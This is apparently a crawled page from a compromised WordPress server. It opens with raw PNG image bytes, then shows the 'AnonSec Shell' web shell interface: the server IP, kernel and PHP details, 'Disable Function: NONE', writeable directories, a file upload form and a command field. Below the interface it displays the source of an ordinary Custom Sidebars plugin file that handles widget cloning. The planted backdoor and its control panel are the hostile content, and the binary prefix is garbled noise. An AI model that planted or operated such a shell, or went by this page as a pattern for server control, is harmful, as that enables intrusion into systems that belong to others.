‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ в¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGù͋љ˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æóµ„µik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñî§ŒOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ï¶²²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈD޼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/custom-sidebars/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/www/html/wp-content/plugins/custom-sidebars/inc/class-custom-sidebars-cloning.php
<?php

add_action( 'cs_init', array( 'CustomSidebarsCloning', 'instance' ) );

/**
 * Adds visibility options to all widgets:
 * Clone a widget to quickly replicate its settings.
 *
 * @since  2.0
 */
class CustomSidebarsCloning {

	/**
	 * Buffer that holds data of a widget group.
	 * @see update_linked_widgets() // populate the property
	 * @see update_widget_group() // use the property
	 *
	 * @since  2.0
	 * @var    bool|array
	 */
	private $group_data = false;


	/**
	 * Returns the singleton object.
	 *
	 * @since  2.0
	 */
	public static function instance() {
		static $Inst = null;

		if ( null === $Inst ) {
			$Inst = new CustomSidebarsCloning();
		}

		return $Inst;
	}

	/**
	 * Constructor is private -> singleton.
	 *
	 * @since  2.0
	 */
	private function __construct() {
		if ( is_admin() ) {
			// in_widget_form: Add our button inside each widget.
			add_action(
				'in_widget_form',
				array( $this, 'admin_widget_button' ),
				10, 3
			);

			// in_widget_form: Update data of widget-group (see notes below).
			add_action(
				'in_widget_form',
				array( $this, 'update_widget_group' ),
				10, 3
			);

			// When the widget is saved (via Ajax) we save our options.
			add_filter(
				'widget_update_callback',
				array( $this, 'admin_widget_update' ),
				9999, 4
			);

			// Load the javascript support file for this module.
			$javascript_file = 'cs-cloning.min.js';
			if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
				$javascript_file = 'cs-cloning.js';
			}
			lib3()->ui->add( CSB_JS_URL . $javascript_file, 'widgets.php' );
			lib3()->ui->add( CSB_CSS_URL . 'cs-cloning.css', 'widgets.php' );
		}
	}

	/**
	 * Extracts and sanitizes the CSB cloning data from the widget instance.
	 * Cloning data contains the parent widget.
	 *
	 * @since  2.0
	 * @param  array $instance The widget instance data.
	 * @return array Sanitized CSB cloning data.
	 */
	protected function get_widget_data( $instance ) {
		$data = array();

		if ( isset( $instance['csb_clone'] ) ) {
			$data = $instance['csb_clone'];
		}

		if ( ! is_array( $data ) ) {
			$data = array();
		}

		// group: ID of the group

		if ( isset( $data['group'] ) && is_numeric( $data['group'] ) && $data['group'] > 0 ) {
			$group = preg_replace( '/^.*-(\d+)$/', '$1', $data['group'] );
			$state = @$data['state'];
		} else {
			$group = $this->new_group_id();
			$state = 'new';
			$data['group'] = intval( $group );
		}

		// state: ok|empty|new
		if ( ! in_array( $state, array( 'ok', 'empty', 'new' ) ) ) {
			$state = 'new';
		}
		$data['state'] = $state;

		return $data;
	}

	/**
	 * Returns a new/unique group-ID.
	 *
	 * @since  2.0
	 */
	protected function new_group_id() {
		global $wp_registered_widgets;
		static $Used_ids = null;
		$group_id = 1;

		if ( null === $Used_ids ) {
			$Used_ids = array();

			// Loop though all widgets to fetch used IDs.
			foreach ( $wp_registered_widgets as $id => $data ) {
				if ( ! isset( $data['callback'] ) ) { continue; }
				if ( ! is_array( $data['callback'] ) ) { continue; }

				$widget = reset( $data['callback'] );
				$settings = false;
				if ( is_object( $widget ) && method_exists( $widget, 'get_settings' ) ) {
					$settings = $widget->get_settings();
				}

				// Check the database settings of the widget to find group IDs.
				if ( is_array( $settings ) ) {
					foreach ( $settings as $instance ) {
						if ( ! isset( $instance['csb_clone'] ) ) { continue; }
						if ( ! empty( $instance['csb_clone']['group'] ) ) {
							$group = $instance['csb_clone']['group'];
							if ( ! in_array( $group, $Used_ids ) ) {
								$Used_ids[] = $group;
							}
						} // endif: empty(group)
					} // endforeach
				} // endif: is_array()
			} // endforeach

		}

		// Find the first free group-ID.
		while ( in_array( $group_id, $Used_ids ) ) {
			$group_id += 1;
		}
		$Used_ids[] = $group_id;

		return $group_id;
	}

	/**
	 * Finds the settings for the specified group inside the settings array.
	 *
	 * @since  2.0
	 */
	protected function settings_for_group( $settings, $group ) {
		if ( is_numeric( $group ) && $group > 0 ) {
			foreach ( $settings as $data ) {
				$item_group = @$data['csb_clone']['group'];
				$item_status = @$data['csb_clone']['state'];

				if ( $group == $item_group && 'ok' == $item_status ) {
					return $data;
				}
			}
		}
		function_exists( 'wp_debug' ) &&  wp_debug( 'class-custom-sidebars-cloning.php:162', 'FAILED' );
		return false;
	}

	/**
	 * Action handler for 'in_widget_form'
	 *
	 * @since  2.0
	 */
	public function admin_widget_button( $widget, $return, $instance ) {
		$data = $this->get_widget_data( $instance );
		$is_linked = (0 != $data['group']);

		?>
		<div class="csb-clone csb-clone-<?php echo esc_attr( $widget->id ); ?>">
		<?php
		/*
		 * This input is only used to determine if the "visibility" button
		 * should be displayed in the widget form.
		 */
		?>
		<input type="hidden" name="csb-clone-button" value="0" />
		<input type="hidden" name="csb_clone[group]" class="csb-clone-group" value="<?php echo esc_attr( $data['group'] ); ?>" />
		<input type="hidden" name="csb_clone[state]" class="csb-clone-state" value="<?php echo esc_attr( $data['state'] ); ?>" />
		<?php if ( ! isset( $_POST['csb-clone-button'] ) && ( 'widgets' === get_current_screen()->id ) ) : ?>
			<a href="#" class="button csb-clone-button"><?php esc_html_e( 'Clone', 'custom-sidebars' ); ?></a>
		<?php else : ?>
			<script>jQuery(function() { jQuery('.csb-clone-<?php echo esc_attr( $widget->id ); ?>').closest('.widget').trigger('csb:update'); }); </script>
		<?php endif; ?>

		</div>
		<?php
	}

	/**
	 * Action handler for 'in_widget_form'.
	 *
	 * The workflow for this function is not very obvious, it works like this:
	 * When a widget is saved it may update a number of other widgets that
	 * belong to the same widget-group (i.e. cloned widgets).
	 * However, the update function allows us to only change data of the updated
	 * widget - all changes made to other widgets will be overwritten by
	 * WordPress after the widget_update_callback filter is executed.
	 *
	 * So the widget_update_callback filter will save the modified widget data
	 * inside the property $this->group_data. {@see update_linked_widgets}
	 *
	 * After the widget_update_callback filter is called the widget is rendered
	 * again. Now the in_widget_form hook is called. It is not related to saving
	 * the widget but provides a way to update the settings in chronolically
	 * correct order, this is why we hijack it for saving settings...
	 *
	 * @since  2.0
	 */
	public function update_widget_group( $widget, $return, $instance ) {
		if ( ! empty( $this->group_data ) ) {
			$widget->save_settings( $this->group_data );
		}
	}

	/**
	 * Apply cloning logic when user saves the widget.
	 *
	 * @since  2.0
	 * @param  array $new_instance New settings for this instance as input by the user.
	 * @param  array $old_instance Old settings for this instance.
	 * @param  WP_Widget $widget   The current widget instance.
	 * @return array Modified settings.
	 */
	public function admin_widget_update( $instance, $new_instance, $old_instance, $widget ) {
		$data = $this->get_widget_data( $_POST );

		$instance['csb_clone'] = $data;
		$settings = $widget->get_settings();
		$my_id = $widget->number;

		switch ( @$instance['csb_clone']['state'] ) {
			case 'empty':
				return $this->populate_widget( $my_id, $settings, $instance, $widget );
				break;

			case 'ok':
				return $this->update_linked_widgets( $my_id, $settings, $instance, $widget );
				break;

			default:
				$instance['csb_clone']['state'] = 'ok';
				return $instance;
		}
	}

	/**
	 * This function returns the $instance data of a new clone. The data is
	 * populated with the values of the widget-group.
	 */
	protected function populate_widget( $id, $settings, $instance, $widget ) {
		$instance['csb_clone']['state'] = 'ok';

		if ( ! isset( $instance['csb_clone']['group'] ) ) {
			// Widget does not have any cloning information.
			return $instance;
		}

		$group = $instance['csb_clone']['group'];
		if ( empty( $group ) ) {
			// Widget does not have a group (anymore).
			return $instance;
		}

		$group_data = $this->settings_for_group( $settings, $group );
		if ( empty( $group_data ) ) {
			// The specified group does not exist (anymore).
			return $instance;
		}

		// Success, fetch the config from group!
		$instance = $group_data;
		return $instance;
	}

	/**
	 * Update ALL widgets in the same group as the specified widget.
	 */
	protected function update_linked_widgets( $id, $settings, $instance, $widget ) {
		$instance['csb_clone']['state'] = 'ok';
		$group_data = $instance;
		$my_group = @$group_data['csb_clone']['group'];

		foreach ( $settings as $key => $the_inst ) {
			if ( ! isset( $the_inst['csb_clone']['group'] ) ) {
				// Widget does not have any cloning information.
				continue;
			}

			$group = $the_inst['csb_clone']['group'];
			if ( empty( $group ) ) {
				// Widget does not have a group (anymore).
				continue;
			}

			if ( $group != $my_group ) {
				// This widget does not belong to the current group.
				continue;
			}

			// Success, this widget needs to be updated!
			$settings[ $key ] = $group_data;
		}

		$settings[ $id ] = $group_data;
		$this->group_data = $settings;

		return $instance;
	}
};

Anon7 - 2022
AnonSec Team